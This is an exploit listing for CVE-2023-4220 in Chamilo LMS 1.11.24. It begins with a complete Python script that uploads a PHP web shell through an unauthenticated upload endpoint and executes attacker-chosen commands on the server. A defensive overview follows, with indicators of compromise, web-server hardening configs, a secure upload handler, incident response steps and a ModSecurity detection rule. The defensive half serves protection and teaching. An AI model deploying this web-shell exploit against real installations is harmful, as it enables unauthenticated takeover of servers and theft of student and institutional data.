Chamilo LMS 1.11.24 - Remote Code Execution (RCE)
# Exploit Title: Chamilo LMS 1.11.24 - Remote Code Execution (RCE)
# Exploit Author: 0x00-null - Mohamed Kamel BOUZEKRIA
# Exploit Date: September 3, 2024
# Vendor Homepage: https://chamilo.org/
# Software Link: https://chamilo.org/
# Version: 1.11.24 (Beersel)
# Tested Versions: 1.11.24 (Beersel) - August 31, 2023
# CVE ID: CVE-2023-4220
# Vulnerability Type: Remote Code Execution
# Description: Unauthenticated remote code execution in Chamilo LMS <= 1.11.24 due to an unrestricted file upload vulnerability.
# Proof of Concept: Yes
# Categories: Web Application, Remote Code Execution, File Upload
# CVSS Score: 8.1 (High)
# CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes: Ensure that the /main/inc/lib/javascript/bigupload/files/ directory exists and is writable.
# License: MIT License
# References:
# - CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4220
# - Exploit Documentation: https://github.com/0x00-null/Chamilo-CVE-2023-4220-RCE-Exploit
# - Vendor Advisory: https://chamilo.org/
import requests
import argparse
from urllib.parse import urljoin
def upload_shell(target_url, payload_name):
upload_url = urljoin(target_url, "main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported")
shell_path = f"/main/inc/lib/javascript/bigupload/files/{payload_name}"
shell_url = urljoin(target_url, shell_path)
# Payload containing the PHP web shell
files = {'bigUploadFile': (payload_name, '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
# Upload the payload
response = requests.post(upload_url, files=files)
if response.status_code == 200:
print("[+] File uploaded successfully!")
print(f"[+] Access the shell at: {shell_url}?cmd=")
else:
print("[-] File upload failed.")
def execute_command(shell_url, cmd):
# Execute the command
response = requests.get(f"{shell_url}?cmd={cmd}")
if response.status_code == 200:
print(f"[+] Command Output:\n{response.text}")
else:
print(f"[-] Failed to execute command at {shell_url}")
if __name__ == "__main__":
# Parse command-line arguments
parser = argparse.ArgumentParser(description="CVE-2023-4220 Chamilo LMS Unauthenticated File Upload RCE Exploit")
parser.add_argument('target_url', help="The target base URL of the Chamilo LMS instance (e.g., http://example.com/)")
parser.add_argument('cmd', help="The command to execute on the remote server")
parser.add_argument('--shell', default='rce.php', help="The name of the shell file to be uploaded (default: rce.php)")
args = parser.parse_args()
# Run the exploit with the provided arguments
upload_shell(args.target_url, args.shell)
# Form the shell URL to execute commands
shell_url = urljoin(args.target_url, f"main/inc/lib/javascript/bigupload/files/{args.shell}")
execute_command(shell_url, args.cmd) Chamilo LMS 1.11.24 Remote Code Execution (CVE-2023-4220) — Overview
Chamilo LMS versions up to 1.11.24 were affected by an unauthenticated file upload vulnerability that could lead to remote code execution (RCE). The vulnerability arises from insufficient validation and protections around user-controllable file upload functionality, allowing an attacker to place executable code on the server and invoke it. The issue was assigned CVE-2023-4220 and has a high severity rating due to the potential for full server compromise.
What the vulnerability is (high-level)
At a conceptual level, the vulnerability is an unrestricted file upload: the web application accepted files from unauthenticated clients and stored them in a location that could be interpreted and executed by the web server. If an attacker can upload a server-side script (for example, a PHP file) into a web-accessible directory, that file can be requested to execute arbitrary commands or perform further malicious activity.
Affected versions and vendor response
- Known affected versions: Chamilo LMS 1.11.24 and earlier (public advisory available from the vendor).
- Vendor action: security updates/patches and guidance were issued; administrators should consult the official Chamilo advisory and upgrade to a fixed release or apply vendor-recommended mitigations.
Impact and Risk
Successful exploitation of this class of vulnerability can allow an attacker to run arbitrary code on the web server, escalate privileges, access sensitive data, install backdoors, pivot to other internal systems, and maintain persistence. For multi-tenant or educational deployments, the confidentiality and availability of user data and course content can be severely affected.
Detection and Indicators of Compromise (IoCs)
- Unexpected new files in upload directories, especially files with server-side extensions (e.g., .php, .phtml, .phar).
- HTTP POST requests to upload endpoints from unknown IPs or with unusual User-Agent strings.
- GET requests to seemingly random filenames that return unusual content or error codes; requests containing command-like parameters.
- Elevated creation or modification timestamps in webroot subdirectories.
- Outbound network connections originating from the web server to unfamiliar hosts (possible beaconing or callback).
Practical log checks
Search access and application logs for file upload endpoints, unexpected 200/201 responses to file upload requests, and subsequent requests to newly created files. Look for base64 payloads or requests that include suspicious parameter values indicative of shell commands.
Immediate Mitigations and Hardening
- Apply the vendor patch or upgrade Chamilo to a version that contains the fix. This is the primary remediation.
- If you cannot patch immediately:
- Restrict access to upload functionality (authentication, IP allowlists, or temporary firewall rules).
- Make upload directories non-executable by the web server; ensure uploaded files cannot be interpreted as scripts.
- Set proper filesystem permissions so the web application user can write but cannot execute files from upload locations.
- Deploy or tune a Web Application Firewall (WAF) to block suspicious upload patterns and known exploit signatures.
- Harden PHP configuration: disable dangerous functions (system, exec, shell_exec, passthru, popen) where feasible and apply open_basedir restrictions.
- Monitor logs and file integrity for new or modified files in web-accessible directories.
Web server configuration examples to prevent execution of uploaded files
Below are server-side hardening examples that disallow execution of PHP in upload directories. These are defensive changes and do not describe exploitation techniques.
# Apache (.htaccess) - deny execution of PHP-like files inside the uploads directory
<FilesMatch "\.(php|phar|phtml|php3|php4|php5)$">
Require all denied
</FilesMatch>
Explanation: This .htaccess example instructs Apache to deny access to files with server-side extensions in the directory where the file is placed, preventing the server from executing the code even if an attacker uploads a script.
# Nginx - block execution of PHP files within the uploads location
location ^~ /uploads/ {
location ~* \.(php|phtml|phar)$ {
deny all;
return 403;
}
# serve static content normally
}
Explanation: The Nginx snippet denies requests for files that match PHP-like extensions within the /uploads/ path, ensuring uploaded scripts cannot be executed by the PHP interpreter.
Secure File Upload Handling (Developer Guidance)
Application-level controls are essential. Adopt a defense-in-depth approach: strict validation, safe storage, scanning, and runtime restrictions.
<?php
// Defensive PHP file upload handler (illustrative)
// 1) Validate file presence and upload errors
// 2) Confirm MIME type using finfo
// 3) Restrict extensions to a whitelist
// 4) Generate a random filename and store outside webroot if possible
// 5) Use move_uploaded_file(), set safe permissions, and scan with an AV engine
$allowedExtensions = ['jpg','jpeg','png','pdf'];
$maxFileSize = 5 * 1024 * 1024; // 5 MB
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
http_response_code(400);
exit('Invalid upload');
}
if ($_FILES['file']['size'] > $maxFileSize) {
http_response_code(413);
exit('File too large');
}
// Validate MIME type using FileInfo
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($_FILES['file']['tmp_name']);
$mimeMap = [
'image/jpeg' => 'jpg',
'image/png' => 'png',
'application/pdf' => 'pdf'
];
if (!isset($mimeMap[$mimeType])) {
http_response_code(415);
exit('Unsupported media type');
}
$ext = $mimeMap[$mimeType];
$targetDir = __DIR__ . '/../private_uploads/'; // outside webroot
if (!is_dir($targetDir)) {
mkdir($targetDir, 0750, true);
}
// Generate secure random filename
$basename = bin2hex(random_bytes(16));
$targetPath = $targetDir . $basename . '.' . $ext;
if (!move_uploaded_file($_FILES['file']['tmp_name'], $targetPath)) {
http_response_code(500);
exit('Failed to save file');
}
// Optionally call an AV scanner (example: clamscan) - ensure proper integration
// $scanResult = shell_exec('clamscan ' . escapeshellarg($targetPath));
http_response_code(201);
echo 'Upload successful';
?>
Explanation: This code demonstrates defensive decisions: use MIME sniffing (finfo) rather than trusting client-supplied MIME types or extensions; restrict to an allowlist of safe types; store uploads outside the webroot to prevent direct HTTP access; use random filenames; and set restrictive directory permissions. Integration with an antivirus scanner is recommended as an additional layer.
Incident Response and Recovery Steps
- Immediately isolate the affected host from the network to prevent further activity.
- Preserve logs and filesystem images for forensic analysis—do not modify compromised systems unless necessary for containment.
- Search for webshells and known malicious artifacts; remove confirmed malicious files and backdoors.
- Rotate credentials and secrets that may have been exposed (web app admin accounts, database credentials, API keys).
- Rebuild compromised systems from known-good images when appropriate and apply the vendor security patch before reconnecting to the network.
- Perform a post-incident review and adjust controls to prevent recurrence.
Preventive Best Practices
- Keep the application stack up to date — apply vendor patches promptly.
- Adopt least privilege: run web processes with minimal rights and isolate file stores from execution contexts.
- Use WAFs and host-based intrusion detection to detect and block suspicious behavior.
- Implement secure coding standards for file handling and input validation across the development lifecycle.
- Employ continuous monitoring and file integrity checks on webroot and upload directories.
Detection Rules and Monitoring Examples (Defensive)
A simple defensive detection rule can look for upload requests that contain server-side scripting keywords in the request body or newly created files containing "<?php" or similar sequences. Use such patterns cautiously to avoid false positives.
# Example: high-level ModSecurity rule idea (illustrative, not executable as-is)
SecRule REQUEST_HEADERS:Content-Type "multipart/form-data" \
"chain,deny,log,msg:'Potential upload containing PHP code'"
SecRule REQUEST_BODY "@contains <?php"
Explanation: This illustrative rule concept flags multipart uploads that include PHP tags in the request body. Production rules require tuning and testing to avoid blocking legitimate traffic.
Conclusion
Unrestricted file upload vulnerabilities are a common and dangerous vector for achieving remote code execution. The best defense is prompt patching, reducing attack surface, implementing layered protections (application-level checks, web server hardening, runtime restrictions), and maintaining strong detection and incident response capabilities. Administrators of Chamilo LMS installations should ensure they have applied vendor updates for CVE-2023-4220 and adopt the defensive practices outlined above.